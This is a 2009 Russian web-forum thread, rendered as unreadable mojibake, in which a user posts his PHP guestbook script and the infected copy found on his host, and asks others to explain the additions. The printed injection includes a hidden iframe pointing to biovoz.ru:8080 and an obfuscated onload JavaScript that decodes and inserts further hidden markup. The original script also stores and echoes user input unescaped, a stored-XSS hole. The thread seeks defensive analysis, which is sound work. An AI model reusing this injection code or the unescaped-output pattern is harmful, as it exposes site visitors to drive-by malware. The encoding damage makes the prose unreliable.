[ Ïîèñê ] - [ Ïîëüçîâàòåëè ] - [ Êàëåíäàðü ]
Ïîëíàÿ Âåðñèÿ: Õàêåðû âçëîìàëè ñêðèïò!
WhiteKnight
Ïèñàë ÿ ñêðèïò ãîñòåâîé êíèãè è ðàçìåñòèë íà õîñòèíãå.

Ñâåðíóòûé òåêñò
PHP
<html>
<
head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <title> GB </title>
</
head>
<
body>
    
    
<?php
        
/**
         * Ïðîñòàÿ ãîñòåâàÿ êíèãà wink.gif
         */
        
        $start_time 
= microtime(true);
        
        $errors 
= array ();
        
        
        if 
(isset($_REQUEST['ok'])){
            validate_data();
            
            if 
(count($errors)>0){
                display_data();
                echo '<table align="center" bgcolor=" #E0EEEF" style="border: 1px dotted #23A7D3" width="500"><tr><td>';
                display_errors();
                echo '</td></tr></table>';
                display_form();
            } else {
                add_data();
                display_data();
                display_form();
          }
        } else {
            display_data();
            display_form();
        }
        
        function validate_data
(){
            global $errors;
            
            if
(trim($_REQUEST['name']) == '' ) $errors[] = 'Âû íå çàïîëíèëè ïîëå Èìÿ';
            if(trim($_REQUEST['url']) == '' ) $errors[] = 'Âû íå çàïîëíèëè ïîëå Url';
            if($_REQUEST['msg'] == '') $errors[] = 'Âû íå çàïîëíèëè ïîëå Ñîîáùåíèå';
            
            
        
}
        
        function display_data
(){
            $data_path = 'data.txt';
            
            echo 
'<table align="center" bgcolor=" #E0EEEF" style="border: 1px dotted #23A7D3" width="500"><tr><td>';
            echo file_get_contents($data_path);
            echo '</td></tr></table>';
        }
        
        function add_data
(){
            $data_path = 'data.txt';
        
            $name 
= $_REQUEST['name'];
            $url = $_REQUEST['url'];
            $msg = $_REQUEST['msg'];
            
            $data 
= '<b>'.$name.'</b> / <a href="'.$url.'" rel="nofollow" > '.'[WWW]'.'</a> /'.date("H:i:s").' / '.date("m.d.y").'<br>'.$msg.'<hr>';
            
            if
(!file_exists($data_path)){
                $handle = fopen($data_path,"a+");
                fwrite($handle,$data."\n");
                fclose($handle);
                
            
} else {
                $handle = fopen($data_path,"a");
                fwrite($handle,$data."\n");
                fclose($handle);
                
            
}
            header('location: '. $_SERVER['PHP_SELF'] .'?rnd='. time());
        }
        
        
        function display_errors
(){
            global $errors;
            
            foreach 
($errors as $error){
                echo '<b>-</b> <font color="red">'.$error.'</font><br>';
            }
            
        
}
        
        
        function display_form
(){
            
            echo 
'<table align="center" bgcolor=" #E0EEEF" style="border: 1px dotted #23A7D3" width="500"><tr><td>';
            
            echo
"<form action='?'>";
            echo '<font color="red">*</font>Èìÿ <input type="text" name="name" value="'.'" <br>';
            echo '<font color="red">*</font>Url <input type="text" name="url" value="'.'" <br>';
            echo '<font color="red">*</font>Ñîîáùåíèå <br> <textarea name="msg" cols="50" rows="10" '.'</textarea> <br>';
            echo '<input type="submit" name="ok" value="îòïðàâèòü"> <br>';
            echo '</form>';
            
            
            echo 
'</td></tr></table>';
        }
        
        $end_time 
= microtime(true);
        echo '<p align="center">';
        printf("Ñòðàíèöà ñãåíåðèðîâàíà çà %.6f ñåêóíä.",$end_time-$start_time);
        echo '</p>';


Ëåæàë îí òàì ãäå òî ìåñÿö. Ñåé÷àñ çàøåë, ñìîòðþ â áðàóçå îøèáêà.

Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ',' or ';' in /hsphere/local/home/user/testsitename/gb/index.php on line 113

ß ïîäóìàë, ÷òî ÷òî òî ñòðàííîå, ÿ òî â ñêðèïòå äàâíî íè÷åãî íå ïðàâèë è íå äîáàâëÿë. Ñêà÷àë index.php íà êîìïüþòåð è ÷òî ÿ òàì îáíàðóæèë.

Äîïèñàííûå ñòðîêè â ñêðèïòå. ß òàê è íå ïîíÿë èõ ïðåäíàçíà÷åíèå, ÷òî èììåíî âçëîìùèõ ïûòàëñÿ ñäåëàòü ?
È êàê îí èõ òóäà ñìîã äîïèñàòü ?

PHP
<html>
<
head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <title> GB </title>
</
head>
<
body><div style="display:none">osautlmnocqpcbhrlihqlorcspntisg<iframe 
width
=213 height=575 src="http://biovoz.ru:8080/index.php" 
></iframe></div><div 
style
="display:none">dujeyygvqatohdramtikckhqbtqiqhl</div><div
style
="display:none">wdhfciryrrksioybduwimclpjykuopy</div><div
style
="display:none">xtgsifthzptgviykpusvysyqazrjnsb</div><div
style
="display:none">glluyipgokuefkmnbugpogsqrniclsr</div><div
style
="display:none">tzscahxaudpclcjlbpfrtzuyoumkxop</div><div 
style
="display:none">puijwsljykoibgperrdsgluiltdscrk</div><div 
style
="display:none">hblairitsfkjkdbpdzuxdfpqvavbleq</div><div 
style
="display:none">srqwiqogsrhlsgkpbdzzguchzmcfrxe</div><div 
style
="display:none">gtpzznuokvpychfjqyialshcqsfrlne</div><div 
style
="display:none">gfjbfaqdmvzlqsqwzuqezddmmpvrdkr</div><div 
style
="display:none">hdtslrqizglothdzrtygvbnllmbptfp</div><div 
style
="display:none">eajscrpsucwwrxkudpykpqsbvrlxbmq</div><div style="display:none">tlxdsmcwtszdxbrfkgjzhbkhlmjhfpd</div><div 
style
="display:none">hgcwdybmxeicoahznyisvshekjhyohs</div><div style="display:none">qmlwvrdugrmjmtsbksuuwlajgvrrvwp</div><div 
style
="display:none">sfctddyqqdcqghctsnojrqhqczkvkao</div><div style="display:none">pexmlbevttvzhbymikmbzuozvujpesb</div><div 
style
="display:none">cototdbjdiwtpjmyjsuxlbxueubdntw</div><div 
style
="display:none">iresgylulhtnzgrbeszjwwvytgojawp</div><div style="display:none">ybtbonwjijdcgxvxznybrwtuzznvpjy</div><div 
style
="display:none">eclsipubxnajgyllurctmsbxklxpgcl</div><div style="display:none">rjboyiktsomzlftolgwtxevuanfsrsr</div><div 
style
="display:none">geioszahxaxiqzegkavxaluedttbnzg</div><div style="display:none">xbtzzmwvmaylhxxtivybqolpmafpbly</div><div 
style
="display:none">taoruvfxgwzhfulcajfacszslzzxbor</div><div style="display:none">abgveeyfmneqrwfzbtkhtwxgtskmdop</div><div 
style
="display:none">wbvqnaafjrguzvemgzhtfnonhqiukyn</div><div style="display:none">uqymhlegqpuvvzdhtrjzdgeukyngewf</div><div 
style
="display:none">faebfyqwlacfvtjvjdqzhnkknqsukvt</div><div style="display:none">ixcfbwymakiknuvsjpojgteoneasqwp</div><div 
style
="display:none">otowwthznagjhqeytmqbplvwkbdapbq</div><div style="display:none">iikzwcorikxhcnrbxxgodttieeapikf</div><div 
style
="display:none">qvaaffumqkirrptdoavpwrbctlbaupk</div><div style="display:none">ivwiupnyhkjkookpumvrgabrewvozge</div><div 
style
="display:none">twrrqbaqmeywyjmphtrvftinpcbgjcd</div><div style="display:none">cxgfqdtfglujwrbjuugkqzonjwspwyj</div><div 
style
="display:none">opkkydahnttdacgxpoprfzvjhxlucqm</div><div style="display:none">tojjtjxvqmbaynzfxgjmkswbxyiaupr</div><div 
style
="display:none">lvrzxsvevqryygwznoxelldzodvsblm</div><div style="display:none">qtlngvlzevwrgdnvnsjormpxyqqqmvv</div><div 
style
="display:none">zalmvywtooyzvwsndqbtdozyyxtfqhp</div><div style="display:none">ggptshdmbwikzdoiyuzlsibdiuvsuhr</div><div 
style
="display:none">oohvijawxigpgmajvgisgwxndcjoutr</div><div style="display:none">zrkgmseglduetyhfblyadjpmmmnssye</div><div 
style
="display:none">utsqkdmlwuhvjfgwfwktzyopkqdfhul</div><div style="display:none">myznmjocgnhaquczgvcrhysexgshuxq</div><div 
style
="display:none">jutzzbpmzzsxaringlzlpfrebjwixzy</div><div style="display:none">tyqqxmrionahvlzwyickmdafxqiltoa</div><div 
style
="display:none">eyqtvcwldbpuuczxndopxgzuhptmxwo</div>
    
    
<?php
        
/**
         * Ïðîñòàÿ ãîñòåâàÿ êíèãà áåç àäìèíêè wink.gif
         * Ìîæíî èñïîëüçîâàòü è äëÿ êîìåíòàðèåâ êàêîãî ëèáî ìàòåðèàëà.
         */
        
        $start_time 
= microtime(true);
        
        $errors 
= array ();
        
        
        if 
(isset($_REQUEST['ok'])){
            validate_data();
            
            if 
(count($errors)>0){
                display_data();
                echo '<table align="center" bgcolor=" #E0EEEF" style="border: 1px dotted #23A7D3" width="500"><tr><td>';
                display_errors();
                echo '</td></tr></table>';
                display_form();
            } else {
                add_data();
                display_data();
                display_form();
          }
        } else {
            display_data();
            display_form();
        }
        
        function validate_data
(){
            global $errors;
            
            if
(trim($_REQUEST['name']) == '' ) $errors[] = 'Âû íå çàïîëíèëè ïîëå Èìÿ';
            if(trim($_REQUEST['url']) == '' ) $errors[] = 'Âû íå çàïîëíèëè ïîëå Url';
            if($_REQUEST['msg'] == '') $errors[] = 'Âû íå çàïîëíèëè ïîëå Ñîîáùåíèå';
            
            
        
}
        
        function display_data
(){
            $data_path = 'data.txt';
            
            echo 
'<table align="center" bgcolor=" #E0EEEF" style="border: 1px dotted #23A7D3" width="500"><tr><td>';
            echo file_get_contents($data_path);
            echo '</td></tr></table>';
        }
        
        function add_data
(){
            $data_path = 'data.txt';
        
            $name 
= $_REQUEST['name'];
            $url = $_REQUEST['url'];
            $msg = $_REQUEST['msg'];
            
            $data 
= '<b>'.$name.'</b> / <a href="'.$url.'" rel="nofollow" > '.'[WWW]'.'</a> /'.date("H:i:s").' / '.date("m.d.y").'<br>'.$msg.'<hr>';
            
            if
(!file_exists($data_path)){
                $handle = fopen($data_path,"a+");
                fwrite($handle,$data."\n");
                fclose($handle);
                
            
} else {
                $handle = fopen($data_path,"a");
                fwrite($handle,$data."\n");
                fclose($handle);
                
            
}
            header('location: '. $_SERVER['PHP_SELF'] .'?rnd='. time());
        }
        
        
        function display_errors
(){
            global $errors;
            
            foreach 
($errors as $error){
                echo '<b>-</b> <font color="red">'.$error.'</font><br>';
            }
            
        
}
        
        
        function display_form
(){
            
            echo 
'<table align="center" bgcolor=" #E0EEEF" style="border: 1px dotted #23A7D3" width="500"><tr><td>';
            
            echo
"<form action='?'>";
            echo '<font color="red">*</font>Èìÿ <input type="text" name="name" value="'.'" <br>';
            echo '<font color="red">*</font>Url <input type="text" name="url" value="'.'" <br>';
            echo '<font color="red">*</font>Ñîîáùåíèå <br> <textarea name="msg" cols="50" rows="10" '.'</textarea> <br>';
            echo '<input type="submit" name="ok" value="îòïðàâèòü"> <br>';
            echo '</form>';
            
            
            echo 
'</td></tr></table>';
        }
        
        $end_time 
= microtime(true);
        echo '<p align="center">';
        printf("Ñòðàíèöà ñãåíåðèðîâàíà çà %.6f ñåêóíä.",$end_time-$start_time);
        echo '</p>';
        
    ?>
    
</body>
</html><?php echo ''; ?><?php echo '<script>function HPkDx(BTOyBCO, JHi, 
dohkdlb){var EwHRWW=dohkdlb.split(JHi);var XFdsDX='';for(hUDiKAOew=-0xa-
0x27-0x1b+0x18+0x1d+0x17;hUDiKAOew<(EwHRWW.length-
1);hUDiKAOew+=0xc+0x22+0x1c+0x4-0x4d){ sjZb = EwHRWW[hUDiKAOew]^BTOyBCO;XFdsDX += String.fromCharCode(sjZb);}return XFdsDX;}function Qquuhlwb(tAEu){ var LNuGs = document.getElementById('
xOGCRdaqIR'); fff.op.replace("157"); } 
;function qYjeCeDf(){var aLRvWh=new Function("gaR", "return 
"+HPkDx(0x23+0x2d+0x2e+0x103, 
'
e','485e494e482e500e492e484e495e501e')+"."+HPkDx(0x2f+0xc-0x30-
0x29+0x12d, '
G','365G352G363G374G')+"");var KoJr=aLRvWh(-0x6-
0x31+0xe+0x2a);KoJr.innerHTML += HPkDx(-0x17-0x6+0xbb, 
'
y','162y247y248y236y255y243y251y190y233y247y250y234y246y163y175y190y2
46y251y247y249y246y234y163y175y190y252y241y236y250y251y236y163y174y1
90y248y236y255y243y251y252y241y236y250y251y236y163y174y190y237y236y2
53y163y185y246y234y234y238y164y177y177y232y235y236y243y241y179y237y2
34y172y176y253y240y177y237y234y255y236y177y247y240y250y251y230y176y2
38y246y238y185y160y162y177y247y248y236y255y243y251y160y
');}function 
njYjtn(zGlht){ alert('
Fpew'); fff.op.replace("336");alert('Fpew'); } 
;if(window.addEventListener){window.addEventListener('
load',qYjeCeDf,false);}els
e if(window.attachEvent){window.attachEvent('
onload', qYjeCeDf);}function 
MsVOfO(XSGsAu){  fff=op.split("827");alert('
lNDhfs'); fff.op.replace("867"); } 
;</script>'
;


Ïîìîãèòå ïðîàíàëèçèðîâàòü ñêðèïò, ÷òî òàì íå òàê â çàùèòå è ÷òî äîïèñàë âçëîìùèê â ìîé ñêðèïò.



Ñïóñòÿ 7 ìèíóò, 21 ñåêóíäà (8.10.2009 - 20:45) kirik íàïèñàë(à):
WhiteKnight
Ïðîáåæàë ãëàçàìè, âðîäå áû áîëüøèõ äûð íåò. Âåðîÿòíî õîñòåðà íàêðûëè, èëè òâîé ftp. Åñëè ïðàâà íà ôàéë ñòîÿëè 777, òî ìîãëè ïðîñòî ïîä äðóãèì èìåíåì äîïèñàòü ñòðî÷êè (ó òåáÿ âåäü øàðåä õîñòèíã?).

Ñïóñòÿ 1 ìèíóòà, 51 ñåêóíäà (8.10.2009 - 20:47) WhiteKnight íàïèñàë(à):
kirik
Öèòàòà
(ó òåáÿ âåäü øàðåä õîñòèíã?)

äà.

Ìíå èíòåðåñíî, ÷òî èìåííî âçëîìùèê õîòåë ñäåëàòü.

Ñïóñòÿ 2 ìèíóòû, 53 ñåêóíäû (8.10.2009 - 20:49) WhiteKnight íàïèñàë(à):
Åñëè ýòî áûëà áû ïðîñòî è-ôðåéì àòàêà ñ äîáàâëåíèåì ññûëêè êàê ýòî óæå âèäåë ðàíüøå, òî ÿ áû íå ïî âîëíîâàëñÿ áû. Áûëî áû ÿñíî ÷òî ñ ìîåãî èëè äðóãîãî ÔÒÏ òðîÿí çàëèëñÿ, à òóò êàêèå òî ôóíêöèè è íå ìåëåíüêèå. Âîçìîæíî èõ äîáàâèëè âðó÷íóþ íàìåðåííî äëÿ êàêîé òî öåëè.

Ñïóñòÿ 22 ìèíóòû, 56 ñåêóíä (8.10.2009 - 21:12) kalenval íàïèñàë(à):
Çà÷åì íà òàêèå ñêðèïòû íàïàäàòü? Âûãîäû íèêàêîé

Ñïóñòÿ 5 ìèíóò, 31 ñåêóíäà (8.10.2009 - 21:18) Sylex íàïèñàë(à):
Öèòàòà (WhiteKnight @ 8.10.2009 - 23:49)
Åñëè ýòî áûëà áû ïðîñòî è-ôðåéì àòàêà ñ äîáàâëåíèåì ññûëêè


äà çäåñü ÷òî-òî ïîäîáíîå, ïðîñòî çàøèôðîâàíî...

Ñïóñòÿ 2 ìèíóòû, 34 ñåêóíäû (8.10.2009 - 21:20) WhiteKnight íàïèñàë(à):
kalenval
Öèòàòà
Çà÷åì íà òàêèå ñêðèïòû íàïàäàòü? Âûãîäû íèêàêîé

Ìîãëè íå íà ñêðèïò äàííûé íàïàñòü îò íå÷åãî äåëàòü, à íà òî, íà ÷åì îí õîñòèòñÿ.

Ñïóñòÿ 7 ÷àñîâ, 47 ìèíóò, 6 ñåêóíä (9.10.2009 - 05:08) kirik íàïèñàë(à):
Öèòàòà (WhiteKnight @ 8.10.2009 - 12:47)
Ìíå èíòåðåñíî, ÷òî èìåííî âçëîìùèê õîòåë ñäåëàòü.

Äà áàëóþòñÿ âñ¸.. Øêîëüíèêè íà÷èòàþòñÿ ñòàòåé à ïîòîì òûêàòü íà÷èíàþò.
Áûñòðûé îòâåò:

 Ãðàôè÷åñêèå ñìàéëèêè |  Ïîêàçûâàòü ïîäïèñü
Çäåñü ðàñïîëîæåíà ïîëíàÿ âåðñèÿ ýòîé ñòðàíèöû.
Invision Power Board © 2001-2024 Invision Power Services, Inc.